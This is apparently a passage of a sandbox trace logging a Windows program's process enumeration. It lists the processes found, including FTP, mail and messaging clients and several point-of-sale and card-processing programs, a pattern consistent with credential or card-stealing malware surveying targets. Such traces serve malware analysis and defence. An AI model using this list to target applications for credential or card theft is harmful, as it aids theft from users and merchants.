th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0114.622] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0114.624] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0114.627] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0114.630] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.633] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.634] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0114.636] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0114.638] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0114.641] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0114.643] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0114.645] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.647] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0114.649] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0114.651] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0114.654] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0114.658] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0114.660] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0114.662] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0114.665] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0114.666] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0114.669] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0114.672] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0114.674] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0114.677] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0114.679] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0114.682] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0114.684] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0114.686] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0114.688] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0114.691] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0114.693] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0114.697] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0114.700] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0114.702] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0114.705] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0114.710] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0114.713] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0114.716] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0114.719] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0114.722] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0114.737] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0114.740] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0114.743] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0114.746] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0114.751] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0114.754] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0114.757] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0114.760] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0114.763] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0114.766] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0114.769] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0114.771] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0114.775] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0114.777] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0114.780] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0114.783] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0114.786] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0114.789] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0114.791] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0114.794] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0114.800] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0114.803] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0114.805] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0114.809] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0114.813] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0114.815] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0114.818] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0114.820] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0114.823] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0114.826] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0114.829] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0114.832] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0114.836] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0114.839] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0114.842] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0114.845] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0114.857] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0114.860] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0114.862] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0114.866] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0114.868] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0114.871] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0114.874] Process32Next (in: hSnapshot=0x20e0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, 